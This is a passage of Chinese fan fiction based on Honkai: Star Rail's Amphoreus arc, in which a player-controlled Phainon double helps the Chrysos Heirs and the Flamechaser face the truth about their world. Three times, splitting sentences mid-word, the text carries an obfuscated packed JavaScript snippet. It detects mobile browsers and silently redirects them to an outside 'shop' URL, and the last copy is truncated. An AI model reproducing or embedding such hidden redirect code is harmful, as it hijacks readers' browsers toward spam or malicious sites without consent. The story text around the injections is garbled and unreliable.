于是,缇宝看了一眼【白厄】,收回目光,对丹恒道:“看来小白二号很信任你们,你们也知道很多事情呢。意料之外的客人们,去见阿雅之前,*我们*可以知道你们的目的吗?” “星穹列车的无名客一向为开拓而来,探索翁法罗斯是为了补充列车燃料。”丹恒坦诚地说着,话音一转,“不过,这次确实有额外的目标,我们希望见到金织女士后再述说。” “这个问题我已经问过他们了,可惜没得到答案。”白厄说着用手肘捅了下【白厄】,以略微压低但大家都能听见的音量道,“真的不能透露一下吗?” 【白厄】和无名客们交换了下目光。 星摸出手机点开备忘录偷瞄一眼,开口道:“事情的真相太过离奇,你们未必会相信。不过可以先用一件事印证下——尼卡多利会进攻奥赫玛,在重渊住民抵达圣城之时。” 缇宝和白厄的表情变得严肃起来。 “这是你们给出的‘预言’?”缇宝说,“*我们*相信小白,所以,*我*相信你。既然如此,*我们*要提前通知阿雅做准备。” 红发的女孩闭上眼睛,几秒后睁开,说:“好啦,缇安已经去找阿雅了。” 雅努萨波利斯的圣女继承门径火种,分裂成一千个孩童,在漫长的逐火之旅中,无数碎片因耗尽力量消失,时至今日,只有缇宝、缇安、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048692|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缇宁存活,她们同心同感,即使间隔遥远的距离,也能听见彼此的心声。 无名客们并未对缇宝的行为提出质疑,于是门径的半神心生明悟:看来,天外来客们确实很清楚她的事情。这已经超过了一般朋友间的闲聊会透露出的信息量,更像是有针对性的、有目的地了解。 缇宝忽然对白厄说道:“小白,你是一个大漏勺。” 白厄脑袋上冒出一个迷茫的问号:“?” 082 长长的巨兽排队返回圣城,因为运输力量相对充裕,黄金裔和无名客们都被安排了两人座。白厄和【白厄】,丹恒和星,缇宝和三月七分别坐在了一起。 大地兽的后背上,白厄一会坐一会半躺,看起来活蹦乱跳、精力充沛,似乎随时会举起大剑做一组力量训练。 不过,仔细想想的话,他可能在为奥赫玛即将遭遇袭击,自己却只能慢慢赶路而有些不安。但在阿格莱雅提前得到消息、万敌驻守圣城的情况下,避免缇宝开门消磨力量,乘坐大地兽返回确实是更好的选择……即使明知如此,依然会不安吗?【白厄】心想。 忽然,他观察的视线撞上了一双烙印日轮的蓝瞳。 【白厄】下意识偏开了目光。 对方抵着下巴思考两秒,反而靠近了一些,微笑道:“反正空闲很多,不如和我聊聊天?自己和自己对话,这对一般人来说,应该是很奇妙的体验吧。” 对别人是这样,但你心中的英雄从未离开,自己和自己对话不是很寻常的事情吗?【白厄】有些困惑地歪了一下头,忽然反应过来这是白厄的试探。 白厄将他的反应尽收眼中,笑意更真切了些,向后一仰,以极佳的平衡性稳稳躺好,声音变得有些模糊:“每次躺在大地兽的后背上,我都会想起离开哀丽秘榭的那一天,当时我看着天空,什么都没想,只记得自己仍然‘活着’。” 这次似乎真的只是闲聊了。【白厄】摸出手机想了一会,没能组织好语言做出回应。 白厄也没打算得到回答,自顾自地说了下去:“从那之后,我就很喜欢大地兽紫,可惜阿格莱雅女士似乎不太喜欢,每次见到都勒令我换衣服。” 你挑衣服时把颜色饱和度稍微降低些,阿格莱雅说不定会看在救世主的身份上稍微容忍一下。【白厄】心想。 “见到你之后,总会想起哀丽秘榭的景色。我有些饿了,可惜自从离开家就再也没吃到过和家里一样好吃的面包,果然翁法罗斯最好的小麦就是哀丽秘榭的小麦。”白厄想到哪里就说到哪里,话题换得很快。 【白厄】心中一动,感觉某个关键词似曾相识。 他拉开背包内的消耗品分类,点开面包“干”的详情看了看,找到了熟悉感的来源。 纠结两秒后,他拿出一个面包“干”,向白厄递了过去。 白厄坐起身,接过面包“干”看了看,疑惑道:“这是什么新品种的木头吗?看起来年份很足,是个老物件了……等等,这是个面包?你从哪里拿出来的?” 面包“干”的详情大意是:哀丽秘榭覆灭后,部分遗留在外的面包因时间流逝从香甜松软变得坚硬无比,被人们当作纪念物品保存,当然,实在想吃也不是不能试试。 【白厄】打字道:“哀丽秘榭的面包,只有这样的了。” “啊……”白厄低头看了看面包“干”,忽然咬了一口,在坚硬的面包表皮上留下一个浅浅的牙印,他反而笑了起来,“好硬啊,完全咬不动,和我记忆中的样子一点都不相似,但好像是能尝到点熟悉的味道。” 【白厄】又取出一个面包“干”,好奇地啃了啃,几秒之后,他开始怀疑这东西可以客串锤子,把这东西留下来的翁法罗斯人,其实是把它当作防身暗器吧? 干巴巴硬邦邦的面包“干”绝对谈不上好吃,即使艰难咬碎,也像在嚼木头。白厄慢吞吞地咬着面包“干”,总算安静下来。 【白厄】出于一种自己也难以分辨的微妙心情,跟着啃起面包“干”,等把它整个啃完时,已经开始怀疑人生:我为什么要摧残我的味觉?面包“干”是不是该和苏打豆汁坐一桌?哀丽秘榭人蒸面包时一定用了什么诡异的秘方吧? 白厄恰好也把面包“干”吃完,眼神虚幻而怀念地看着大地兽两侧的景色,自脑海中模拟出一望无际的金色麦田。 过了一会,风中响起一声错觉般的低语。 “……好久不见。” 15. 游戏机制百分百(十五) 083 纷争的战火正在圣城中燃烧。 流火纷飞间,无数金线自半空交错,密布于奥赫玛的上方,将误撞上来的纷争眷属切割成满地碎块。 万敌一拳将身边的眷属砸飞,倏然回身,准确抓住向背后刺出利刃的纷争眷属的头颅,用力下砸,将之嵌进了地面。激荡而起的烟尘中,纷争眷属寸寸碎成了尘土。 “哼。”悬峰王储稍微活动了一下手臂,看向逐渐包围而来的眷属们,道,“只是热身运动而已,你们,不一起上就没机会了!” 于是纷争的眷属自四面八方涌上,它们或向前冲刺,或弯弓搭箭,或腾跃而起,庞大的数量一时遮蔽了黎明机器的光芒。 万敌轻轻活动手甲,嘴角咧开,露出一抹肆意的笑容。 铺天盖地的眷属扑挤成团,将中心的黄金裔层层掩埋,在短暂的寂静后,光芒自其中迸射而出,许许多多的纷争眷属被大力掀飞,然后再碰撞着落向地面,一时间,乒乒乓乓的声音连绵不绝,像一场沉重的雨。 大片溃散的尘土中,万敌抓着天谴先锋的头颅、拖着怪物一步步走下台阶,然后忽然停顿,扬声道:“来得真慢啊,救世主。” “我这次的职责可不是击败怪物,倒是你,一路打坏了多少建筑?”白厄目光环视一周,确认周围的怪物已经尽数毙命,收起大剑,道,“阿格莱雅女士交给你的任务,应该不是和这些家伙打成一团吧?” “保护城市,击退外敌。将外敌全部杀光,自然可以保护城市。”万敌淡淡地说着,目光一转,道,“倒是你,无所不能的救世主终于连把自己劈成两半都学会了吗?” 【白厄】眨了眨眼,疑惑地指了下自己。 万敌啧了一声,道:“看来脑子也分成两份了。” 【白厄】:“……” 他往列车组的方向走了两步,决定退出这两位比来比去的幼稚鬼的战场,否则以他现在的形象,很容易被扫射波及。 “这人说话好冲。”三月七小声说。 星眨了下眼睛,真诚地说道:“他好慷慨。” 不穿上衣的那种慷慨吗?【白厄】心想,眼角余光看到丹恒伸手扶额,脸上写满了习惯后的无奈与心累。 缇宝已经先一步返回帮忙疏散剩余的民众,于是白厄承担起枢纽的职责,让无名客和万敌相互认识了一下。 星说:“万敌这个名字好奇怪。” 万敌道:“你的名字不也很奇怪?” 这时,一阵幽微花香袭来,隐约间,眼前的世界似乎蒙上了一层紫色的纱幕。台阶上、阴影中,一位安静站立的少女不知何时出现,她苍白的裙摆上点缀花朵,身披死荫的灰烬,眼神却是宁静而温柔的。 “万敌阁下,白厄阁下,这里暂且交给我吧。”遐蝶轻声说,“天外的客人们,阿格莱雅女士正在浴宫等待你们。” 084 因为尼卡多利的进攻,一向热闹的浴宫此时人员稀少。 白厄与万敌一人最前、一人最后,两人虽未交谈,却各有默契地选好位置,似有似无地护送着无名客抵达浴宫,直到乘坐升降梯前往英雄浴池,才稍微放松下来。 朦朦水汽里,【白厄】低头看了看清澈流水回荡的浴池,除了没有繁多的游人,眼前的场景和太一之梦中的景象一模一样,神色中不由得带上了些恍惚。 丹恒轻轻压住【白厄】的肩膀,低声询问道:“没事吧?” 【白厄】发现众人都投来目光,连忙摇了摇头,稳住心神不再胡思乱想。 英雄浴池,缇宝和阿格莱雅正在说着什么。 在众人踏下升降梯的瞬间,阿格莱雅转过身,双手交叠在身前,用涣散的眼眸一一看过来人,最终在【白厄】的身上停留了瞬间,开口道:“欢迎你们,天外的客人,我是黄金裔的领袖阿格莱雅。” 星熟练地把无名客一行人介绍了一遍,轮到【白厄】时伸手一指,直接用了缇宝说出来的称呼:“这个是小白二号。” 【白厄】向阿格莱雅点点头,默认了这个称谓。 “你们的来意,吾师已经说过了。疯王对奥赫玛的进攻预言,也已然印证。”阿格莱雅声线温和,但几乎没有感情波动,“我、吾师、救世主和悬峰的王储都在此处,那件要当面与我们述说的事情,请讲吧。” 无名客一行人交换了一个目光。 丹恒走近阿格莱雅,调出文档,递出手机,道:“只作讲述容易遗漏,请看一下这份文档吧。” 阿格莱雅伸手轻触手机,指尖有金丝一闪而过,而后,浪漫半神平静了不知多少岁月的面容再次生出波澜,她的眼眸微微睁大,露出诧异而鲜活的表情。 这一幕令缇宝回忆起千年前的少女,那时的阿格莱雅尚未成为半神,还是有些活泼又有些骄傲的模样,可惜少女终究在千年的岁月里变成了如今的领袖,过去的影子也破碎消散,几乎无法挽回。 阿格莱雅沉默地向白厄递出手机,白厄半蹲下来方便缇宝一起看,万敌站在后面,只看了两段便皱起眉头。 【白厄】看着眼前的一幕,虽然坦白的目的已经达成,心中却总觉得哪里不对劲,他好像忽略了什么不大不小的问题。 在他冥思苦想间,白厄滑动屏幕把词条滑到了黄金裔的部分。 于是【白厄】恍然大悟:列车组交出去的文档就是他编写的那个版本,除开必要的信息,里面乱七八糟给列车组科普用的人物小传忘记删除了啊啊啊啊! 他不会被秋后算账吧? 085 丹恒的手机,最终被交还给了丹恒。 浴宫寂静,只有潺潺水声响起。 阿格莱雅静静地看着金色的池水,表情恢复了平静。 白厄眼神微微发散,脸色苍白,一时没有说话。 缇宝悲伤地按住心口,说:“怎么会,竟然是这样……” “荒谬,只凭这份记录,便要我们相信千年的逐火不过是一场谎言,所有牺牲都是徒劳,连世界都是虚假的吗?”万敌目光锋利地看向【白厄】,沉声道,“你,你们,必须提供其他的证据。” 【白厄】轻轻吸了一口气,亮出手机,上面只有四个字:“盗火行者。” 那跨越无尽轮回拖延毁灭降临,焚烧无数个自己在绝望中等待的囚徒,其本身就是最无可辩驳的证据。 白厄闭上眼睛又睁开,主动上前一步,道:“阿格莱雅女士,由我去印证这份消息的真实性吧,你知道的,我是最合适的人选。” 阿格莱雅静静注视着救世主,并未立刻回答,而是对着无名客们说道:“倘若信息属实,未来之事对你们来说并非无法预估,再创世的仪式可以暂缓,但疯王尼卡多利必须被讨伐。来自天外的无名客啊,还请助我们一臂之力。” 星认真地答道:“我们正是为此而来的。” 然后,阿格莱雅对白厄说:“我会调整情报的收集偏重,调查盗火行者的消息,在此之前,切勿擅自离开去追寻他的踪迹。在纷争落幕之后,我们必将和他见上一面,到那时候,无论发生什么,我不会再阻拦你。” 白厄的拳头悄然攥紧,瞬息之后,他放松手掌,郑重点头道:“好。” 阿格莱雅轻轻叹息,平静道:“今天就到这里吧,我已命人为诸位客人安排了私人浴宫,无论如何,请先好好休整。当然,如果天外的客人想要亲自看一看奥赫玛,城内一切区域,请随意通行。” 说到此处,她微微停顿,补充道:“但天外之人这一信息,还请不要在城中宣扬。” “放心吧,阿格莱雅女士。白厄,额,咱是说小白二号,他已经提前提醒过我们了,这次必不会被人偷走相机。”三月七拍了拍相机,说,“走吧走吧,无论如何,我们总得亲眼去看看奥赫玛吧?” 粉蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048693|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美少女推着同伴打算离开,【白厄】也转过身,但才挪动脚步便觉得滞涩,只见几道金线不知何时缠上四肢,阻止了他的行动。 丹恒立刻警惕起来,道:“这是何意?” “抱歉,是我刚才没说清楚。”阿格莱雅轻轻拨弄指间的金线,平和道,“天外的客人需要休息,但黄金裔的事务尚未结束。让这位救世主单独和我们谈谈吧,当然,最终要看本人的意愿——如果你选择拒绝,我不会强留。” 【白厄】看了看阿格莱雅,斟酌一下,对列车组点点头,收回了迈出一半的脚步。 “没问题吗?”星使着眼色,一副只要【白厄】一声令下便直接杀出去的样子。 无妨。【白厄】回以安抚的眼神。 他想了想,久违地翻找出列表,锁定一条合适的语音,开口说道:“我没事。” 086 列车组一步三回头地离开了。 金线自动散开,只有手腕上保留了一道。【白厄】以为这是测谎用的,抬起手机打算解释自己只能说特定的几句话,却见金线绷紧、断开,留在他手腕上的一截也渐渐消失——虽然触觉还在,但视觉上已经看不到了。 阿格莱雅拨弄金线,在其他黄金裔的手腕上也留下了一截金线,开口道:“我无意窥探各位的所思所想,这截断开的金线只有标记和紧急联络的作用。现下情况特殊,那位管理员、来古士未必没有行动,要多做准备。” 嗯?难道阿格莱雅并非对列车组所说的那样维持着观望态度,而是倾向于相信文档内容?否则不必对此做出反应……不,没有这么乐观,身为掌权者,即使相信一件事也未必会丢出全部筹码,这更像是她未雨绸缪,为可能的发展落下棋子。【白厄】心想。 “无论世界真相如何,于我们而言,这末世中尚且存活的一切都是真实的,也是我们必须守护的。疯王尼卡多利已经威胁到了圣城的存在,万敌,白厄,明日你们去找无名客会合,出发讨伐纷争泰坦。”阿格莱雅说道。 缇宝会意地点点头,补充道:“缇安已经找到了悬峰城所在,*我们*会协助你们的。” 万敌抱起手臂道:“放心吧,我必会讨伐纷争,成功归来。倒是救世主直到现在还有些神思不属,不如留他在城内休整,免得战场上拖后腿。” “什么?”白厄立刻支棱了起来,不服气道,“我只是一时震惊没调整好状态罢了。明日去往悬峰城,敢不敢比一比谁清理的怪物更多?” “哼,比就比,倘若你输了,斩杀纷争的最后一击便由我笑纳了。”万敌道。 “你尽可以在这时候说大话,因为赢家必然是我。”白厄说。 两个人互不相让地对视着,视线在空气中碰撞出激烈的火花。 虽然方式不太对,但白厄的斗志确实被鼓舞起来了,万敌不会是故意的吧?【白厄】怀疑地看一眼王储,但想到两人的性格,又觉得是正常发展。 等等,讨伐纷争的队伍把我排除了出去,那我做什么?【白厄】向阿格莱雅投去一个疑惑的目光。 “翁法罗斯现存的城邦寥寥无几,倘若黑潮终将吞没一切,奥赫玛之外的城邦必然先一步沦陷。明日你与吾师前往神梧树庭,通知他们撤退,倘若阻力太大,可以联系七贤人之一的阿那刻萨格拉斯,此人性格有缺,但在大事上还算明白事理。”阿格莱雅似乎看出了她的心中所想,说道。 额,您刚才是不是悄悄黑了一下那刻夏老师?而且比起对待列车组,用起我来似乎更不客气一点……【白厄】心中念头一闪而过,向缇宝点了点头。 缇宝回了他一个笑脸。 “遐蝶与风堇还在城中为此次战争收尾,今天的事情,我之后会告知她们。”阿格莱雅说,“天外的消息和翁法罗斯的信息,诸位务必注意保密。” 她轻轻叹息:“看似永恒的圣城,实际上已禁不住太多的波澜了。” 16. 游戏机制百分百(十六) 087 问过无名客浴宫的位置后,【白厄】比照着小地图,熟门熟路地摸了过去。 白厄与他同行,一路上对着惊诧的居民们打招呼,随口编撰故事,再熟练的安抚,令“救世主复制粘贴变成两只”这一消息平稳地被传播开,虽然目测传播出去的版本有点多,但并未造成什么负面影响。 大概。 “要不你来我这边一起住?正好你也熟悉。”白厄兴致勃勃地建议道,“我那有很多珍藏的古董……嘶,你应该都见过,但重温一下也不赖吧?” 并非如此,我甚至不会鉴宝,真去了岂不是分分钟翻车?虽然很好奇救世主的私人住所到底是什么样子,但【白厄】还是坚定地拒绝了。 玩家无意令他人全然相信他就是白厄,但至少此时,被戳穿身份会带来无尽的麻烦,甚至会动摇黄金裔们的信任,所以必须谨慎。 “好吧。”白厄并未掩饰失望的表情,念头一转,道,“那不如一起吃顿饭?你请我吃了面包,我回礼也正常。不过今天城内估计没什么店铺营业,要自己动手,正好我知道一个人的做菜水平奇怪得很,你帮我品鉴品鉴,看看是不是我味觉有问题。” 【白厄】的表情变得有些微妙,他好像猜出来白厄说的是谁了。 救世主啊,你就没怀疑过万敌是在给你反向开小灶,特意做难吃的菜吗? 他迟疑了一下,理智最终战胜了好奇心,再度摇了摇头。 被拒绝了两次的白厄露出失落的表情。 “……讨伐纷争之后吧,带上无名客,你和他们一定能成为很好的伙伴。”【白厄】坚持了两秒,摸出手机敲出一行字。 于是白厄多云转晴,笑道:“一言为定。” 088 神梧树庭是理性泰坦瑟希斯的栖身之处,也是翁法罗斯的知识摇床。 此时黑潮尚未袭来,隐匿于巨树的知识殿堂人来人往,学者们或独自冥思,或三五成群,别处生僻罕见的词汇在这里四处纷飞,空气中似乎填满了知识的痕迹。 【白厄】稍微听了听学者们的聊天,很快便在一大堆具备翁法罗斯特色的专业词汇中迷失了方向,产生了脑子被灌满但什么都没领悟到的感觉。 谢谢,梦回学习通用文字时被寰宇通识课暴打的那段日子了。【白厄】面带微笑地放空大脑,全凭身体本能跟着缇宝前进。 忽然,前方掀起一阵嘈杂的声浪,人们聚集在一起,似乎在围观什么。 “呵,无能之辈,连与我辩论的勇气都没有,也只会做这些无谓的报复之举罢了。”一位学者被倒吊在树干上,正常人此时会因脑部充血而眩晕胀痛,此人却神色清明、口齿清晰,冷笑道,“同样的戏码上演几十次,连我这个表演者都厌倦了,而你们却还有兴致围观,庸人的时间果然廉价。” 一句话把所有围观的人都涵盖了进去,人们或脸色涨红或激情反驳,但都不再停留,很快,人群便散得一干二净,只剩下学者还被吊在原地。 好毒的嘴……【白厄】探头看了一眼,看到了熟悉的薄荷绿色。 缇宝也注意到了学者,快走几步解开绳子,【白厄】伸手托了一下,把学者放了下来。 那刻夏毫不在意地活动着手腕,视线扫过,不等二人开口报上来意,先一步道:“说吧,你们来神梧树庭是领了阿格莱雅的什么命令?纷争刚刚袭击奥赫玛,能指挥你们出现在这里的,也只有那个女人了。” 缇宝和【白厄】对视了一下,开口说明来意。 那刻夏皱着眉听完,道:“哼……世界的真相?直接得到了答案,还真是无趣。” 缇宝有些惊讶,问道:“小夏,你明明没有看过文档,只听描述,就相信无名客们口中的‘真相’吗?” “我从来都不相信黄金裔口中的神谕,更遑论素未谋面的天外来客,我只是相信自己的理论罢了。”那刻夏道,“上一轮回的黄金裔就是这一轮回的泰坦,本是需要解明的真理,可我的眼界仍受束缚,现在有人为我掀开谜题上的面纱,何不大胆相信,谨慎求证呢?” 不愧是那刻夏。【白厄】心想。 下一秒,学者锐利的目光投射而来,道:“既然如此,阿格莱雅必然会推动我那经验尚未完满的学生去讨伐纷争泰坦,也就是说,跟随缇里西庇俄丝来到这里的你,并非我认识的白厄,而是自未来折返之人了?” 【白厄】慎重地考虑了两秒,先是点点头,又摸出手机打字回答:“我不知道。” 我不知道白厄的最终结局,自然不能确定“角色”的最终身份,所以这不算说谎。他心中疯狂催眠自己,面上平稳地和那刻夏对视。 那刻夏并未追问这个奇怪的回答,皱眉道:“你嗓子怎么了?回溯的时光把你那难得不算愚钝的口舌也堵住了吗?” ……关心得太别扭了啊,那刻夏老师。【白厄】打字解释:“受到了一些限制,只能说特定的话,没有大碍,我清楚前因后果。” 这是被不靠谱的穿越指引系统坑出的代价,虽然一言难尽,但确实没什么隐患。 那刻夏又上下扫视一番,道:“吞吞吐吐,也罢,不想说便不说——倘若你有信心在之后都瞒得住我的话。走吧,我带你们去启蒙王座。” 缇宝微微一愣,道:“小夏,我们带来黑潮将至的消息,是来疏散树庭人员的……” “这只是那个女人对你们的说辞罢了,只是疏散人员,何必联系我?”那刻夏摊开手,道,“就当是我擅自行动吧。瑟希斯还活着,但理性的火种已经不安全了,我们要在灾难真正抵达前,把火种拿到手。” 说完,那刻夏果断转身,衣摆在空气中划过一道利落的弧线。 这……该说阿格莱雅和那刻夏是气场不合,还是默契有加呢,最了解你的人是敌人?【白厄】摇摇头,和缇宝一起跟上了学者的身影。 他走了两步,忽然回头,有些疑惑地看了看。 几片干枯的叶子轻飘飘地掉下来,身后似乎什么都没有。 089 那刻夏轻松避开大部分守卫,偶尔遇到人也三言两语就打开了通路,领着缇宝和【白厄】一路前进到启蒙王座。 这是神梧树庭中的神圣之地,树冠交织出的巨大平台宽阔静谧,在平台尽头、王座之上,理性的火种无声漂浮,散发着淡淡暖意。 那刻夏向着火种走了两步,忽然停下,冷笑道:“还不出来吗?尾随了一路的家伙,倘若你再不出手,火种,我们就带走了。” 林叶间闪过一道灵敏的魅影,下一秒,一个清亮的女声响起来:“树庭小子,你可真无趣,早就察觉到我的踪迹,却偏偏要在最后才揭露吗?” 猫一样的女孩不知何时靠坐在王座的扶手上,伸手举起火种,闭上一只眼睛,对着天空端详,道:“这就是理性的火种啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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硬币弹起又落下,转眼间,赛飞儿已经以极快的速度躲开利刃,出现在那刻夏一行人身前,表情凝重。 “火种……必须……”一道高大死寂的身影自门户行出,举起弯月似的锋刃对准前方,声音断续沙哑,“由我……” 盗火行者透过面具一一看过众人,看到【白厄】时有些迷茫地顿了一下,不过他安静时本就动作缓慢,所以外人很难看出这瞬间的怔愣。 “哦,所以这就是盗火行者了?”比起如临大敌、尾巴毛都炸开的赛飞儿,那刻夏显得十分坦然,他冷冷地看着黑袍人,目光中似有愤怒?悲伤?又或者别的情绪,这样久违的、直属老师看延毕学生般的复杂目光令盗火行者再度迟疑了瞬间。 白厄没有出现在讨伐纷争的战场上,而是在黑潮来临前抵达了神梧树庭,这件事确实罕见,但在三千余万次的轮回中并非没有发生过,所以,一切仍处于那既定而可悲的命运囚牢里。 一切都并无不同。 “交出……火种……”负火的囚徒很快消弭了所有疑惑,像一个预定好的程序般开口,“并非半神……退下,或者,死。” “该死!你们先走,我留下来殿后。”赛飞儿沉声道,“这不是逞强的时候,听我的,你们还不是这个怪物的对手!” 无声无息间,【白厄】感觉自己口袋微微一沉,似乎有什么散发着淡淡暖意的东西落在了里面。而诡计的半神毫无动作,仿佛理性的火种仍在她身上。 “那你就动手好了。”那刻夏拨开赛飞儿,毫无畏惧地走到黑袍剑士面前,道,“即使如此近的距离,我也察觉不到多少熟悉的模样,演技不错。我该如何称呼你,我的学生?救世主?还是,卡厄斯兰那?” 这一次,盗火行者呆呆地看着那刻夏,彻底愣住了。 17. 游戏机制百分百(十七) 090 “到底发生了什么事情,有没有人来给我解释下喵?”赛飞儿看看左边看看右边,大家和盗火行者亲密和平地站在一起,看起来是如此荒谬。 “【白厄】,你手里肯定有备份的文档吧?交给诡计的半神,让她安静点。”那刻夏伸手想摘下盗火行者的面具,却被对方阻拦,闻声不耐烦地摆摆手。 【白厄】听话地掏出手机,解锁文档,递给了赛飞儿。 “这不是本地的传信石板吧……”赛飞儿一上手就摸出不对,疑惑地看了看【白厄】,“对了,你今天是不是太沉默了一点,救世小子?” “原来小飞儿没有听到*我们*和小夏的对话,真的是半路遇到的。”缇宝说,“答案都在文档中,如果有什么问题,*我们*也可以解答。” 赛飞儿只好满心疑惑地看起文档,随着阅读,表情渐渐严肃。 另一边,第六次被盗火行者小心挡开的那刻夏站直身体,伸手一指【白厄】,道:“换你来,把他的面具摘下来。” 【白厄】上前两步,向面具伸手,这次盗火行者没有阻拦,只是沉默着和他对视。 面具触手滚烫,指尖接触的瞬间几乎令人错觉似的听见了水汽蒸发的滋滋声。【白厄】微微一顿,面不改色地摘下盗火行者的面具,丢在了一旁。 空气寂静了几秒。 缇宝欲言又止,伸手想要摸摸盗火行者的脸庞,被对方小心挡开。 那刻夏用力地啧了一声。 赛飞儿熄灭手机,表情阴晴不定。 在那黑袍之下、面具之下,是一具已然灼烧开裂的空壳,他失却了人类应有的模样,苍白与裂隙遍布头颅,表情木然,模样可怖,如同一具一碰就碎的人偶。 盗火行者沉默了一会,断续开口:“不必……担忧,习惯,不痛苦。” 缇宝眨了眨眼睛,悲伤地说:“小白……” 对方下意识张开嘴,似乎想说些安慰的话,目光触及缇宝的瞬间却如被灼烫一般闪躲开,最终,他低下头,仿佛什么都没听见,也没做出任何回应。 “好了,停止你们那无用的纠结吧。”那刻夏深吸一口气,可他的声线分明也有些颤抖,“缇里西庇俄丝女士,火种已经拿到了,现在的目标是在黑潮抵达前疏散树庭人员,这件事拜托你了。” “可是……”缇宝看了看盗火行者,最终点点头,“好,交给*我们*吧。” “等等,我也去。”赛飞儿说着,停顿一下,语气变得有些冷淡,“让我也去帮忙吧,我要冷静一下。焚毁我家乡的恶魔,拯救这世界的救主,竟然是同一个人……呵,何其荒谬。我需要一点时间,一点时间就够了……我要好好地想一想。” 盗火行者沉默不语。 最终,这里只剩下三道身影。 石膏般的身影微微抬头,询问道:“为何……知晓……” 那刻夏理解了对方的疑问,流畅回答道:“据我所知,一切的起因是天上掉下来一节车厢,里面走出几个自称无名客的天外之人,他们带来了世界的真相。” 盗火行者谨慎地看了看那刻夏,重复道:“真相?” “不必那么小心翼翼,真相就是——世界是虚假的,我们都是黑潮的养料,对吗?”那刻夏稍微放轻语气,平和道,“倘若没有你,翁法罗斯,早就不存在了吧。” “我……无能……”盗火行者低落说完,又仰起脸,灼烧僵硬的脸上竟也能看出几分希冀与期盼,“天外,变数?愿意……拯救?为何?” 那刻夏没有立刻回答,忽然道:“觉得痛苦就不要逼自己说话了,我们写字交流。” 盗火行者茫然地看了看他。 【白厄】会意地摸出系统手机——这个耐烧——调出通信界面,递给盗火行者。对方迟疑地碰了一下,见传信石板竟然没有熔化,才拿入手中。 三人磕磕绊绊地交流了一番,总算把情报解锁进度与圣城的黄金裔们拉平。 知晓从天而降的变数们去讨伐纷争泰坦后,这段日子一直在树庭蹲点当蘑菇的盗火行者交还手机,伸手一划凭空展开门户,介绍道:“这里走……更快……” 那刻夏横了他一眼,道:“树庭的学者尚未疏散完毕,天外来客也不是没有自保能力的小孩子,何必如此着急?” 于是对方垂下头,默默关闭门户。 那刻夏叹气,道:“好了,跟我来。树庭里的大部分学者愚蠢而顽固,但还算有点用。我们去解决那些不愿意挪窝的家伙,把他们打晕然后直接丢到奥赫玛。之后?之后当然是交给阿格莱雅那个女人处理……” 很快,缇宝和赛飞儿不知用了何种手段说服树庭学者整体迁徙,那刻夏带着盗火行者来到一块空地上,后者打开一座巨大的门户,看着学者们搬着厚厚的资料走入其中。 起初,盗火行者并不愿意以真容站在大众之前,但那刻夏并未给他选择的余地,随手把面具没收,然后开始计算黑潮还有多久抵达,树庭迁徙需要多少时间,二者差值是多么紧迫……最终,盗火行者先一步妥协了。 苍白的、萦绕着不祥之火的黑袍剑士站在空地上,一边支撑门户,一边放空大脑,想象自己正蹲在树庭隐蔽角落里,是一朵不会说话的蘑菇。 他以为自己与救世主一模一样却被灼烧开裂的面容会令人恐慌,会动摇末世中的人心,但学者们窃窃私语一阵,忽然平静下来,甚至带着点见怪不怪的恍然。 “之前从奥赫玛传来消息说救世主会分裂,我还不相信,现在看来这是真相啊。救世主不仅会分裂出一模一样的自己,还能分裂出不同风格的自己。” “是啊是啊。” “不过关于分裂原因的传言也太多版本了,到底都是谁传出来的?” “没错没错。” 看着学者们有说有笑地走进门户,盗火行者脑袋上冒出一个问号:“?” 什么分裂,什么谣言,到底是哪个闲人不远万里地传播这些莫名其妙的野史,他在树庭蹲点这几天里,翁法罗斯里冒出来的变数也太多了吧? 091 “迷,迷迷!”一阵惊慌的叫声。 “人子呐,勿要惊慌,他的状态确实不佳,但已经被烧了这么久,总不会在这短短几日内燃尽。”一个悠哉的女声安慰道。 “迷!”叫声听起来更惊慌了。 【白厄】转过一个弯,抵达了放置着长长桌案的餐厅,餐厅里已经有几人入座。 粉色的精灵绕着盗火行者焦急转圈,稍微靠近就被烤焦了尾巴毛,只好躲得远远地发出担忧的叫声。一道虚幻的影子飘在不远处,表情安然,神态淡定,偶尔对周围环境评价两句,看起来格外闲适。 两人话题中心的盗火行者沉默地坐在特质的石凳子上,双手搭膝,目视前方,表情放空,似乎什么都没想。 不远处,灰发开拓者和树庭学者相对而坐,两人眼下带着淡淡的黑眼圈,彼此对视间,似乎有些同病相怜。 这是迷迷和……瑟希斯?理性泰坦确实还没死,但她是从哪冒出来的?【白厄】心想。 树庭撤退后,他也返回奥赫玛,与讨伐纷争胜利归来的同伴们会合。简单交换情报并把理性火种交给阿格莱雅后他就去休息了,休息前既没见到迷迷也没见到瑟希斯,谁知只是一夜过去,这两位就在餐厅里集合了。 “咦,你终于睡饱了?”星说。 【白厄】微微一顿,觉得这个说法有些奇怪,他对星点点头,看着她身边的空位,递过去一个疑惑的眼神。 星丝滑理解了眼神的含义,回答道:“三月和丹恒去取餐了,一会儿就回来。” 